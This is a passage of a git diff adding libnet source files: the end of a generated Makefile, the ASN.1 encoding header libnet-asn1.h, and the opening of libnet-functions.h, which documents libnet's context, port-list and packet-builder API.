+ echo " rm -f $(DESTDIR)$(libnetincludedir)/$$f"; \
+ rm -f $(DESTDIR)$(libnetincludedir)/$$f; \
+ done
+
+ETAGS = etags
+ETAGSFLAGS =
+
+tags: TAGS
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ mkid -fID $$unique
+
+TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
+ $(TAGS_FILES) $(LISP)
+ tags=; \
+ here=`pwd`; \
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ test -z "$(ETAGS_ARGS)$$tags$$unique" \
+ || $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+ $$tags $$unique
+
+GTAGS:
+ here=`$(am__cd) $(top_builddir) && pwd` \
+ && cd $(top_srcdir) \
+ && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+ -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+
+top_distdir = ../..
+distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
+
+distdir: $(DISTFILES)
+ @list='$(DISTFILES)'; for file in $$list; do \
+ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+ dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+ if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+ dir="/$$dir"; \
+ $(mkinstalldirs) "$(distdir)$$dir"; \
+ else \
+ dir=''; \
+ fi; \
+ if test -d $$d/$$file; then \
+ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+ cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+ fi; \
+ cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+ else \
+ test -f $(distdir)/$$file \
+ || cp -p $$d/$$file $(distdir)/$$file \
+ || exit 1; \
+ fi; \
+ done
+check-am: all-am
+check: check-am
+all-am: Makefile $(HEADERS)
+
+installdirs:
+ $(mkinstalldirs) $(DESTDIR)$(libnetincludedir)
+
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+ @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+ INSTALL_STRIP_FLAG=-s \
+ `test -z '$(STRIP)' || \
+ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+ -rm -f Makefile $(CONFIG_CLEAN_FILES)
+ -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
+
+maintainer-clean-generic:
+ @echo "This command is intended for maintainers to use"
+ @echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic mostlyclean-am
+
+distclean: distclean-am
+
+distclean-am: clean-am distclean-generic distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+info: info-am
+
+info-am:
+
+install-data-am: install-libnetincludeHEADERS
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic
+
+uninstall-am: uninstall-info-am uninstall-libnetincludeHEADERS
+
+.PHONY: GTAGS all all-am check check-am clean clean-generic distclean \
+ distclean-generic distclean-tags distdir dvi dvi-am info \
+ info-am install install-am install-data install-data-am \
+ install-exec install-exec-am install-info install-info-am \
+ install-libnetincludeHEADERS install-man install-strip \
+ installcheck installcheck-am installdirs maintainer-clean \
+ maintainer-clean-generic mostlyclean mostlyclean-generic tags \
+ uninstall uninstall-am uninstall-info-am \
+ uninstall-libnetincludeHEADERS
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:
diff --git a/libnet/include/libnet/libnet-asn1.h b/libnet/include/libnet/libnet-asn1.h
new file mode 100644
index 0000000..ea27356
--- /dev/null
+++ b/libnet/include/libnet/libnet-asn1.h
@@ -0,0 +1,255 @@
+/*
+ * $Id: libnet-asn1.h,v 1.3 2004/01/17 07:51:19 mike Exp $
+ *
+ * libnet-asn1.h - Network routine library ASN.1 header file
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Definitions for Abstract Syntax Notation One, ASN.1
+ * As defined in ISO/IS 8824 and ISO/IS 8825
+ *
+ * Copyright 1988, 1989 by Carnegie Mellon University
+ * All rights reserved.
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of CMU not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#ifndef __LIBNET_ASN1_H
+#define __LIBNET_ASN1_H
+
+#ifndef EIGHTBIT_SUBIDS
+typedef u_int32_t oid;
+#define MAX_SUBID 0xFFFFFFFF
+#else
+typedef u_int8_t oid;
+#define MAX_SUBID 0xFF
+#endif
+
+#define MAX_OID_LEN 64 /* max subid's in an oid */
+
+#define ASN_BOOLEAN (0x01)
+#define ASN_INTEGER (0x02)
+#define ASN_BIT_STR (0x03)
+#define ASN_OCTET_STR (0x04)
+#define ASN_NULL (0x05)
+#define ASN_OBJECT_ID (0x06)
+#define ASN_SEQUENCE (0x10)
+#define ASN_SET (0x11)
+
+#define ASN_UNIVERSAL (0x00)
+#define ASN_APPLICATION (0x40)
+#define ASN_CONTEXT (0x80)
+#define ASN_PRIVATE (0xC0)
+
+#define ASN_PRIMITIVE (0x00)
+#define ASN_CONSTRUCTOR (0x20)
+
+#define ASN_LONG_LEN (0x80)
+#define ASN_EXTENSION_ID (0x1F)
+#define ASN_BIT8 (0x80)
+
+#define IS_CONSTRUCTOR(byte) ((byte) & ASN_CONSTRUCTOR)
+#define IS_EXTENSION_ID(byte) (((byte) & ASN_EXTENSION_ID) = ASN_EXTENSION_ID)
+
+/*
+ * All of the build_asn1_* (build_asn1_length being an exception) functions
+ * take the same first 3 arguments:
+ *
+ * u_int8_t *data: This is a pointer to the start of the data object to be
+ * manipulated.
+ * int *datalen: This is a pointer to the number of valid bytes following
+ * "data". This should be not be exceeded in any function.
+ * Upon exiting a function, this value will reflect the
+ * changed "data" and then refer to the new number of valid
+ * bytes until the end of "data".
+ * u_int8_t type: The ASN.1 object type.
+ */
+
+
+/*
+ * Builds an ASN object containing an integer.
+ *
+ * Returns NULL upon error or a pointer to the first byte past the end of
+ * this object (the start of the next object).
+ */
+
+u_int8_t *
+libnet_build_asn1_int(
+ u_int8_t *, /* Pointer to the output buffer */
+ int *, /* Number of valid bytes left in the buffer */
+ u_int8_t, /* ASN object type */
+ int32_t *, /* Pointer to a int32_t integer */
+ int /* Size of a int32_t integer */
+ );
+
+
+/*
+ * Builds an ASN object containing an unsigned integer.
+ *
+ * Returns NULL upon error or a pointer to the first byte past the end of
+ * this object (the start of the next object).
+ */
+
+u_int8_t *
+libnet_build_asn1_uint(
+ u_int8_t *, /* Pointer to the output buffer */
+ int *, /* Number of valid bytes left in the buffer */
+ u_int8_t, /* ASN object type */
+ u_int32_t *, /* Pointer to an unsigned int32_t integer */
+ int /* Size of a int32_t integer */
+ );
+
+
+/*
+ * Builds an ASN object containing an octect string.
+ *
+ * Returns NULL upon error or a pointer to the first byte past the end of
+ * this object (the start of the next object).
+ */
+
+u_int8_t *
+libnet_build_asn1_string(
+ u_int8_t *, /* Pointer to the output buffer */
+ int *, /* Number of valid bytes left in the buffer */
+ u_int8_t, /* ASN object type */
+ u_int8_t *, /* Pointer to a string to be built into an object */
+ int /* Size of the string */
+ );
+
+
+/*
+ * Builds an ASN header for an object with the ID and length specified. This
+ * only works on data types < 30, i.e. no extension octets. The maximum
+ * length is 0xFFFF;
+ *
+ * Returns a pointer to the first byte of the contents of this object or
+ * NULL upon error
+ */
+
+u_int8_t *
+libnet_build_asn1_header(
+ u_int8_t *, /* Pointer to the start of the object */
+ int *, /* Number of valid bytes left in buffer */
+ u_int8_t, /* ASN object type */
+ int /* ASN object length */
+ );
+
+
+u_int8_t *
+libnet_build_asn1_length(
+ u_int8_t *, /* Pointer to start of object */
+ int *, /* Number of valid bytes in buffer */
+ int /* Length of object */
+ );
+
+
+/*
+ * Builds an ASN header for a sequence with the ID and length specified.
+ *
+ * This only works on data types < 30, i.e. no extension octets.
+ * The maximum length is 0xFFFF;
+ *
+ * Returns a pointer to the first byte of the contents of this object.
+ * Returns NULL on any error.
+ */
+
+u_int8_t *
+libnet_build_asn1_sequence(
+ u_int8_t *,
+ int *,
+ u_int8_t,
+ int
+ );
+
+
+/*
+ * Builds an ASN object identifier object containing the input string.
+ *
+ * Returns NULL upon error or a pointer to the first byte past the end of
+ * this object (the start of the next object).
+ */
+
+u_int8_t *
+libnet_build_asn1_objid(
+ u_int8_t *,
+ int *,
+ u_int8_t,
+ oid *,
+ int
+ );
+
+
+/*
+ * Builds an ASN null object.
+ *
+ * Returns NULL upon error or a pointer to the first byte past the end of
+ * this object (the start of the next object).
+ */
+
+u_int8_t *
+libnet_build_asn1_null(
+ u_int8_t *,
+ int *,
+ u_int8_t
+ );
+
+
+/*
+ * Builds an ASN bitstring.
+ *
+ * Returns NULL upon error or a pointer to the first byte past the end of
+ * this object (the start of the next object).
+ */
+
+u_int8_t *
+libnet_build_asn1_bitstring(
+ u_int8_t *,
+ int *,
+ u_int8_t,
+ u_int8_t *, /* Pointer to the input buffer */
+ int /* Length of the input buffer */
+ );
+
+
+#endif /* __LIBNET_ASN1_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/libnet-functions.h b/libnet/include/libnet/libnet-functions.h
new file mode 100644
index 0000000..3c5b18c
--- /dev/null
+++ b/libnet/include/libnet/libnet-functions.h
@@ -0,0 +1,2151 @@
+/*
+ * $Id: libnet-functions.h,v 1.42 2004/03/25 18:50:48 mike Exp $
+ *
+ * libnet-functions.h - function prototypes
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_FUNCTIONS_H
+#define __LIBNET_FUNCTIONS_H
+/**
+ * @file libnet-functions.h
+ * @brief libnet exported function prototypes
+ */
+
+/**
+ * Creates the libnet environment. It initializes the library and returns a
+ * libnet context. If the injection_type is LIBNET_LINK or LIBNET_LINK_ADV, the
+ * function initializes the injection primitives for the link-layer interface
+ * enabling the application programmer to build packets starting at the
+ * data-link layer (which also provides more granular control over the IP
+ * layer). If libnet uses the link-layer and the device argument is non-NULL,
+ * the function attempts to use the specified network device for packet
+ * injection. This is either a canonical string that references the device
+ * (such as "eth0" for a 100MB Ethernet card on Linux or "fxp0" for a 100MB
+ * Ethernet card on OpenBSD) or the dots and decimals representation of the
+ * device's IP address (192.168.0.1). If device is NULL, libnet attempts to
+ * find a suitable device to use. If the injection_type is LIBNET_RAW4 or
+ * LIBNET_RAW4_ADV, the function initializes the injection primitives for the
+ * IPv4 raw socket interface. The final argument, err_buf, should be a buffer
+ * of size LIBNET_ERRBUF_SIZE and holds an error message if the function fails.
+ * This function requires root privileges to execute successfully. Upon
+ * success, the function returns a valid libnet context for use in later
+ * function calls; upon failure, the function returns NULL.
+ * @param injection_type packet injection type (LIBNET_LINK, LIBNET_LINK_ADV, LIBNET_RAW4, LIBNET_RAW4_ADV, LIBNET_RAW6, LIBNET_RAW6_ADV)
+ * @param device the interface to use (NULL and libnet will choose one)
+ * @param err_buf will contain an error message on failure
+ * @return libnet context ready for use or NULL on error.
+ */
+libnet_t *
+libnet_init(int injection_type, char *device, char *err_buf);
+
+/**
+ * Shuts down the libnet session referenced by l. It closes the network
+ * interface and frees all internal memory structures associated with l.
+ * @param l pointer to a libnet context
+ */
+void
+libnet_destroy(libnet_t *l);
+
+/**
+ * Clears the current packet referenced and frees all pblocks. Should be
+ * called when the programmer want to send a completely new packet of
+ * a different type using the same context.
+ * @param l pointer to a libnet context
+ */
+void
+libnet_clear_packet(libnet_t *l);
+
+/**
+ * Fills in a libnet_stats structure with packet injection statistics
+ * (packets written, bytes written, packet sending errors).
+ * @param l pointer to a libnet context
+ * @param ls pointer to a libnet statistics structure
+ */
+void
+libnet_stats(libnet_t *l, struct libnet_stats *ls);
+
+/**
+ * Returns the FILENO of the file descriptor used for packet injection.
+ * @param l pointer to a libnet context
+ * @return the file number of the file descriptor used for packet injection
+ */
+int
+libnet_getfd(libnet_t *l);
+
+/**
+ * Returns the canonical name of the device used for packet injection.
+ * @param l pointer to a libnet context
+ * @return the canonical name of the device used for packet injection. Note
+ * it can be NULL without being an error.
+ */
+int8_t *
+libnet_getdevice(libnet_t *l);
+
+/**
+ * Returns the pblock buffer contents for the specified ptag; a
+ * subsequent call to libnet_getpbuf_size() should be made to determine the
+ * size of the buffer.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag reference number
+ * @return a pointer to the pblock buffer or NULL on error
+ */
+u_int8_t *
+libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Returns the pblock buffer size for the specified ptag; a
+ * previous call to libnet_getpbuf() should be made to pull the actual buffer
+ * contents.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag reference number
+ * @return the size of the pblock buffer
+ */
+u_int32_t
+libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Returns the last error set inside of the referenced libnet context. This
+ * function should be called anytime a function fails or an error condition
+ * is detected inside of libnet.
+ * @param l pointer to a libnet context
+ * @return an error string or NULL if no error has occured
+ */
+char *
+libnet_geterror(libnet_t *l);
+
+/**
+ * Returns the sum of the size of all of the pblocks inside of l (this should
+ * be the resuling packet size).
+ * @param l pointer to a libnet context
+ * @return the size of the packet in l
+ */
+u_int32_t
+libnet_getpacket_size(libnet_t *l);
+
+/**
+ * Seeds the psuedo-random number generator.
+ * @param l pointer to a libnet context
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_seed_prand(libnet_t *l);
+
+/**
+ * Generates an unsigned psuedo-random value within the range specified by
+ * mod.
+ * LIBNET_PR2 0 - 1
+ * LIBNET_PR8 0 - 255
+ * LIBNET_PR16 0 - 32767
+ * LIBNET_PRu16 0 - 65535
+ * LIBNET_PR32 0 - 2147483647
+ * LIBNET_PRu32 0 - 4294967295
+ *
+ * @param mod one the of LIBNET_PR* constants
+ * @return 1 on success, -1 on failure
+ */
+u_int32_t
+libnet_get_prand(int mod);
+
+/**
+ * If a given protocol header is built with the checksum field set to "0", by
+ * default libnet will calculate the header checksum prior to injection. If the
+ * header is set to any other value, by default libnet will not calculate the
+ * header checksum. To over-ride this behavior, use libnet_toggle_checksum().
+ * Switches auto-checksumming on or off for the specified ptag. If mode is set
+ * to LIBNET_ON, libnet will mark the specificed ptag to calculate a checksum
+ * for the ptag prior to injection. This assumes that the ptag refers to a
+ * protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet
+ * will clear the checksum flag and no checksum will be computed prior to
+ * injection. This assumes that the programmer will assign a value (zero or
+ * otherwise) to the checksum field. Often times this is useful if a
+ * precomputed checksum or some other predefined value is going to be used.
+ * Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header
+ * checksum will always be computed by the kernel prior to injection,
+ * regardless of what the programmer sets.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag reference number
+ * @param mode LIBNET_ON or LIBNET_OFF
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode);
+
+/**
+ * Takes a network byte ordered IPv4 address and returns a pointer to either a
+ * canonical DNS name (if it has one) or a string of dotted decimals. This may
+ * incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If
+ * mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and
+ * the function will return a pointer to a dotted decimal string. The function
+ * cannot fail -- if no canonical name exists, it will fall back on returning
+ * a dotted decimal string. This function is non-reentrant.
+ * @param in network byte ordered IPv4 address
+ * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+ * @return a pointer to presentation format string
+ */
+char *
+libnet_addr2name4(u_int32_t in, u_int8_t use_name);
+
+/**
+ * Takes a dotted decimal string or a canonical DNS name and returns a
+ * network byte ordered IPv4 address. This may incur a DNS lookup if mode is
+ * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode
+ * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can
+ * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and
+ * host_name refers to a canonical DNS name.
+ * @param l pointer to a libnet context
+ * @param host_name pointer to a string containing a presentation format host
+ * name
+ * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+ * @return network byte ordered IPv4 address or -1 (2^32 - 1) on error
+ */
+u_int32_t
+libnet_name2addr4(libnet_t *l, char *host_name, u_int8_t use_name);
+
+extern const struct libnet_in6_addr in6addr_error;
+
+/**
+ * Takes a dotted decimal string or a canonical DNS name and returns a
+ * network byte ordered IPv6 address. This may incur a DNS lookup if mode is
+ * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode
+ * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can
+ * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and
+ * host_name refers to a canonical DNS name.
+ * @param l pointer to a libnet context
+ * @param host_name pointer to a string containing a presentation format host
+ * name
+ * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+ * @return network byte ordered IPv6 address structure
+ */
+struct libnet_in6_addr
+libnet_name2addr6(libnet_t *l, char *host_name, u_int8_t use_name);
+
+/**
+ * Should document this baby right here.
+ */
+void
+libnet_addr2name6_r(struct libnet_in6_addr addr, u_int8_t use_name,
+char *host_name, int host_name_len);
+
+/**
+ * Creates a new port list. Port list chains are useful for TCP and UDP-based
+ * applications that need to send packets to a range of ports (contiguous or
+ * otherwise). The port list chain, which token_list points to, should contain
+ * a series of int8_tacters from the following list: "0123456789,-" of the
+ * general format "x - y, z", where "xyz" are port numbers between 0 and
+ * 65,535. plist points to the front of the port list chain list for use in
+ * further libnet_plist_chain() functions. Upon success, the function returns
+ * 1. Upon failure, the function returns -1 and libnet_geterror() can tell you
+ * why.
+ * @param l pointer to a libnet context
+ * @param plist if successful, will refer to the portlist, if not, NULL
+ * @param token_list string containing the port list primitive
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list);
+
+/**
+ * Returns the next port list chain pair from the port list chain plist. bport
+ * and eport contain the starting port number and ending port number,
+ * respectively. Upon success, the function returns 1 and fills in the port
+ * variables; however, if the list is empty, the function returns 0 and sets
+ * both port variables to 0. Upon failure, the function returns -1.
+ * @param plist previously created portlist
+ * @param bport will contain the beginning port number or 0
+ * @param eport will contain the ending port number or 0
+ * @return 1 on success, 0 if empty, -1 on failure
+ */
+int
+libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport,
+u_int16_t *eport);
+
+/**
+ * Runs through the port list and prints the contents of the port list chain
+ * list to stdout.
+ * @param plist previously created portlist
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_plist_chain_dump(libnet_plist_t *plist);
+
+/**
+ * Runs through the port list and prints the contents of the port list chain
+ * list to string. This function uses strdup and is not re-entrant. It also
+ * has a memory leak and should not really be used.
+ * @param plist previously created portlist
+ * @return a printable string containing the port list contents on success
+ * NULL on error
+ */
+char *
+libnet_plist_chain_dump_string(libnet_plist_t *plist);
+
+/**
+ * Frees all memory associated with port list chain.
+ * @param plist previously created portlist
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_plist_chain_free(libnet_plist_t *plist);
+
+/**
+ * @section PBF Packet Builder Functions
+ *
+ * The core of libnet is the platform-independent packet-building
+ * functionality. These functions enable an application programmer to build
+ * protocol headers (and data) in a simple and consistent manner without having
+ * to worry (too much) about low-level network odds and ends. Each
+ * libnet_build() function builds a piece of a packet (generally a protocol
+ * header). While it is perfectly possible to build an entire,
+ * ready-to-transmit packet with a single call to a libnet_build() function,
+ * generally more than one builder-class function call is required to construct
+ * a full packet. A complete wire-ready packet generally consists of more than
+ * one piece.
+ * Every function that builds a protocol header takes a series of arguments
+ * roughly corresponding to the header values as they appear on the wire. This
+ * process is intuitive but often makes for functions with huge prototypes and
+ * large stack frames.
+ * One important thing to note is that you must call these functions in order,
+ * corresponding to how they should appear on the wire (from the highest
+ * protocol layer on down). This building process is intuitive; it approximates
+ * what happens in an operating system kernel. In other words, to build a
+ * Network Time Protocol (NTP) packet by using the link-layer interface, the
+ * application programmer would call the libnet_build() functions in the
+ * following order:
+ * 1. libnet_build_ntp()
+ * 2. libnet_build_udp()
+ * 3. libnet_build_ipv4()
+ * 4. libnet_build_ethernet()
+ * This ordering is essential for libnet 1.1.x to properly link together the
+ * packet internally (previous libnet versions did not have the requirement).
+ *
+ * @subsection TPI The Payload Interface
+ *
+ * The payload interface specifies an optional way to include data directly
+ * after the protocol header in question. You can use this function for a
+ * variety of purposes, including the following:
+ * - Including additional or arbitrary protocol header information that is not
+ * available from a libnet interface
+ * - Including a packet payload (data segment)
+ * - Building another protocol header that is not available from a libnet
+ * interface
+ * To employ the interface, the application programmer should construct the i
+ * payload data and pass a u_int8_t * to this data and its size to the desired
+ * libnet_build() function. Libnet handles the rest.
+ *
+ * It is important to note that some functions (notably the IPv6 builders) do
+ * use the payload interface to specify variable length but ostensibly
+ * non-optional data. See the individual libnet_build_ipv6*() functions for
+ * more information.
+ *
+ * @subsection PT Protocol Tags and Packet Builder Return Values
+ *
+ * Libnet uses the protocol tag (ptag) to identify individual pieces of a
+ * packet after being created. A new ptag results every time a libnet_build()
+ * function with an empty (0) ptag argument completes successfully. This new
+ * ptag now refers to the packet piece just created. The application
+ * programmer's responsibility is to save this value if he or she plans to
+ * modify this particular portion later on in the program. If the application
+ * programmer needs to modify some portion of that particular packet piece
+ * again, he or she calls the same libnet_build() function specifying the
+ * saved ptag argument. Libnet then searches for that packet piece and modifies
+ * it rather than creating a new one. Upon failure for any reason,
+ * libnet_build() functions return -1; libnet_geterror() tells you why.
+ */
+
+/**
+ * Builds an IEEE 802.1q VLAN tagging header. Depending on the value of
+ * len_proto, the function wraps the 802.1q header inside either an IEEE 802.3
+ * header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte
+ * frame). If len is 1500 or less, most receiving protocol stacks parse the
+ * frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type
+ * values, most protocol stacks parse the frame as an RFC 894 Ethernet II
+ * encapsulated frame. Note the length value is calculated without the 802.1q
+ * header of 18 bytes.
+ * @param dst pointer to a six byte source ethernet address
+ * @param src pointer to a six byte destination ethernet address
+ * @param tpi tag protocol identifier
+ * @param priority priority
+ * @param cfi canonical format indicator
+ * @param vlan_id vlan identifier
+ * @param len_proto length (802.3) protocol (Ethernet II)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi,
+u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.1x extended authentication protocol header.
+ * @param eap_ver the EAP version
+ * @param eap_type the EAP type
+ * @param length frame length
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.2 LLC header.
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param control control field
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.2 LLC SNAP header.
+ * @param dsap destination service access point
+ * @param ssap source service access point
+ * @param control control field
+ * @param oui Organizationally Unique Identifier
+ * @param type upper layer protocol
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an IEEE 802.3 header. The 802.3 header is almost identical to the
+ * RFC 894 Ethernet II header, the exception being that the field immediately
